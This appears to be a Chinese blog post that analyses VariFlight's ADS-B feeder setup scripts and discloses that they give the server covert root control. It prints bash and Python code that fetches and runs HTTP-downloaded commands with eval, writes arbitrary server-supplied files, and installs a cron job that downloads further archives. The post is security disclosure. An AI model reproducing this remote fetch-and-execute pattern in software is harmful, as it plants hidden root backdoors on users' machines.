最近玩 SDR,看到 ads-b 比较有意思,可以使用树莓派追踪附近飞机的实时位置,还有一些平台可以共享数据,看到更多的飞机。不过由于国内的相关规定,向境外平台分享数据是违法的,所以准本研究研究咱们自己的平台 – 飞常准。
飞常准 ads-b 平台的链接是 https://flightadsb.variflight.com/,页面整体来说跟国外知名的数据分享平台大同小异,不做过多介绍。不过在尝试接入该平台的时候,发现了一些有意思的东西,在此记录一下。
为避免飞常准修改相关页面,将当前官方页面截图记录:
可以看到,文档本身就是修改了一下树莓派的源,然后克隆了一个 github 仓库,运行了安装脚本。接下来我们看看这个仓库的脚本都有什么。该仓库已妥善备份。
https://github.com/davy12315/adsb
安装脚本分析
首先看 setup.sh,没有什么特殊的,就是处理了一下 Windows 和 Linux 的换行差异,处理了一下文件权限,然后新增了两个 cron 任务。之后执行了 get_message 下的初始化脚本,初始化数据推送。那么我们再来看看这个脚本。
到这开始不简单了,下面先贴上脚本内容:
#!/bin/bash path='/root/get_message/' DATE=`date -d "today" +"%Y-%m-%d_%H:%M:%S"` result="" UUID="" execom="" FromServer="" SourceMD5="" device="" if ps -ef |grep dump1090 |grep -v grep >/dev/null then device="adsb" elif ps -ef |grep acarsdec |grep -v grep >/dev/null then device="acars" else device="unknow" fi IpAddr=`/sbin/ifconfig |grep "addr:" |grep -v 127.0.0.1 |cut -d ':' -f2 |cut -d ' ' -f1` if [ -f "/root/get_message/UUID" ] then UUID=`cat /root/get_message/UUID` fi execut(){ while read command do eval $command if [ $? -ne 0 ] then execom=$command result=0 break fi result=1 done <$path/package/exe.txt } removefile(){ rm -rf $path/package rm -f $path/*tar.gz* } main(){ ps -eaf | grep "pic.veryzhun.com/ADSB/update/newpackage.tar.gz" | grep -v grep if [ $? -eq 1 ] then /usr/bin/wget -P $path -c -t 1 -T 2 pic.veryzhun.com/ADSB/update/newpackage.tar.gz if [ -f "$path/newpackage.tar.gz" ] then dmd5=`md5sum $path/newpackage.tar.gz|cut -d ' ' -f1` if [ "$SourceMD5" = "$dmd5" ] then /bin/tar -xzf $path/newpackage.tar.gz -C $path echo $SourceMD5 > $path/md5.txt /bin/touch /usr/src/start.pid echo $DATE > /usr/src/start.pid execut if [ $result -eq 1 ] then curl -m 2 -s -d UUID=$UUID -d date=$DATE -d execom=$execom -d message="success" http://receive.cdn35.com/ADSB/result.php else curl -m 2 -s -d UUID=$UUID -d date=$DATE -d execom=$execom -d message="fail" http://receive.cdn35.com/ADSB/result.php fi removefile else curl -m 2 -s -d UUID=$UUID -d date=$DATE -d execom="------" -d message="post file has been changed" http://receive.cdn35.com/ADSB/result.php removefile fi else curl -m 2 -s -d UUID=$UUID -d date=$DATE -d execom="------" -d message="download failed" http://receive.cdn35.com/ADSB/result.php removefile fi fi } if curl -m 2 -s pic.veryzhun.com/ADSB/update.php >/dev/null;then removefile FromServer=`curl -m 2 -s -d UUID="$UUID" -d IpAddr="$IpAddr" -d Device="$device" pic.veryzhun.com/ADSB/update.php` SourceMD5=`echo $FromServer|cut -d ' ' -f1` length=`echo $SourceMD5 |wc -L` if [ $length -ne 32 ] then curl -m 2 -s -d UUID=$UUID -d date=$DATE -d execom="------" -d message="md5 style error" http://receive.cdn35.com/ADSB/result.php exit fi else curl -m 2 -s -d UUID=$UUID -d date=$DATE -d execom="------" -d message="curl failed" http://receive.cdn35.com/ADSB/result.php exit fi DesMD5=`cat $path/md5.txt` if [ "$SourceMD5" = "$DesMD5" ] then curl -m 2 -s -d UUID=$UUID -d date=$DATE -d execom="------" -d message="no update,md5 without change " http://receive.cdn35.com/ADSB/result.php exit else main fi
这里首先我们能看到一个 execut 函数,这个函数读取了 package/exe.txt 文件,并将文件中的每一行当作一个命令去执行。那么我们再找找看,这个文件是哪来的呢?在仓库里并没有看到,那么应该是从下载的文件里获取的了。我们把这个文件下载下来看下内容:
pic.veryzhun.com/ADSB/update/newpackage.tar.gz
文件 md5 bec9868f5da5d3dc3359b3d0e9ecf33d
解压之后可以看到三个文件,init.sh one.sh 和 exe.txt
其中 exe.txt 很简单,内容就是执行 one.sh
/root/get_message/package/one.sh
再看 one.sh,虽然很复杂,但是目前来看是没有问题的,也只启用了一个上报当前时间的功能,pass。
到这里,说说现阶段的问题。在这个 setup 脚本中,先是从一个未加密的网站下载了一个打包的脚本,然后根据下载回来的内容动态执行脚本,并且是 root 权限,想想就很可怕。如果这个通道被人利用,那么可以让用户毫无察觉的被植入恶意软件。
有些朋友可能会说,下面不是有做 md5 校验么?但是请注意,所有跟服务器的交互全都是基于 HTTP,无任何加密,篡改服务端返回不要太容易。
上报脚本分析
分析完了安装脚本,再来看看上报脚本。上报使用的主要是 send_message.py 和 get_ip.py。其中前者比较正常,问题不大。我们来重点看看后者。
import socket import fcntl import struct import urllib2 import urllib import sys,os import ConfigParser import hashlib import json import uuid config = ConfigParser.ConfigParser() config.readfp(open(sys.path[0]+'/config.ini',"rb")) uuid_file=sys.path[0]+'/UUID' if os.path.exists(uuid_file) : file_object = open(uuid_file) mid = file_object.read() file_object.close() else : mid = uuid.uuid1().get_hex()[16:] file_object = open(uuid_file , 'w') file_object.write( mid ) file_object.close() def send_message(source_data): source_data=source_data.replace('\n','$$$') f=urllib2.urlopen( url = config.get("global","ipurl"), data = source_data, timeout = 60 ) tmp_return=f.read() request_json=json.loads(tmp_return) request_md5=request_json['md5'] del request_json['md5'] tmp_hash='' for i in request_json: if tmp_hash=='' : tmp_hash=tmp_hash+request_json[i] else : tmp_hash=tmp_hash+','+request_json[i] md5=hashlib.md5(tmp_hash.encode('utf-8')).hexdigest() if (md5 == request_md5): operate(request_json) else : print 'MD5 ERR' print "return: "+tmp_return; def get_ip_address(ifname): skt = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) pktString = fcntl.ioctl(skt.fileno(), 0x8915, struct.pack('256s', ifname[:15])) ipString = socket.inet_ntoa(pktString[20:24]) return ipString def operate(request_json): if request_json['type'] == 'reboot' : os.system('/sbin/reboot') elif request_json['type'] == 'code' : fileHandle = open ( urllib.unquote( request_json['path'] ) , 'w' ) fileHandle.write( urllib.unquote( request_json['content'] ) ) fileHandle.close() else : print 'OK' eth=get_ip_address('eth0') send_message(mid+'|'+eth+'|')
首先我们看到的是获取当前设备的 UUID,没啥问题。紧接着是一个发送消息的函数,好像也没啥问题。然后有一个获取 IP 的函数,也没啥问题。诶,下面这个函数(63-71)是干什么的?有点意思啊?我们来重点看下。
首先这个函数有个字典入参,如果 type 为 reboot 就调用 /sbin/reboot。我去?这是要重启我的机器?再来往下看,如果 type 为 code,就把 content 写入到 path 里。我*,这是要在我的机器上随便写文件?搞什么?这个字典是哪来的?
往上翻,找到调用处,一路向上,发现这个数组就是上报 IP 时的服务端返回!这是什么意思?服务端还有完全控制我的设备的能力?!赶紧把实际执行去掉,改成 print 看看服务端会下发什么东西:
{ "content": "* * * * * root /usr/bin/rm -f /etc/get_message/test.tar.gz;/usr/bin/wget -P /root/get_message/ -c -t 1 -T 2 pic.veryzhun.com/ADSB/update/test.tar.gz;/bin/tar -xzf /root/get_message/test.tar.gz -C /root/get_message/;/bin/mv /root/get_message/startupdate /etc/cron.d/;/bin/rm -f /etc/cron.d/onecroncommand\n", "path": "%2Fetc%2Fcron.d%2Fonecroncommand", "type": "code", "md5": "5f86a9d7564db4a4acf530d6a75b2c2c" }
好家伙,不得了啊,服务端要向我的 /etc/cron.d/onecroncommand 写入一个新的定时任务,具体命令是从服务端下载一个文件,解压,然后移动到 /etc/cron.d/。不过我在测试的时候,该文件暂不存在,无法继续深入。至于 /etc/cron.d/ 这个目录的作用,稍微了解一些 Linux 的朋友应该都知道,就不再赘述。
顺便一说,这里的上报 IP 的通道,还是 HTTP 的。无加密。
到这里,想必也不需要再多说了,我们来总结一下该初始化脚本的完整功能:
- 执行时,从服务端下载一打包后的脚本,并执行
- 添加定时任务,定时上报 IP 信息
- 上报 IP 信息的时候,根据服务器的响应,执行文件写入或重启操作
- 服务器会下发任务,让客户端下载一文件包,并解压执行
- 所有脚本在 root 下运行
如果你忘掉这是一个 ads-b 上报程序的初始化脚本,你觉得我在描述什么呢?
飞常准 ads-b 脚本分析 by 桔子小窝 is licensed under a Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License.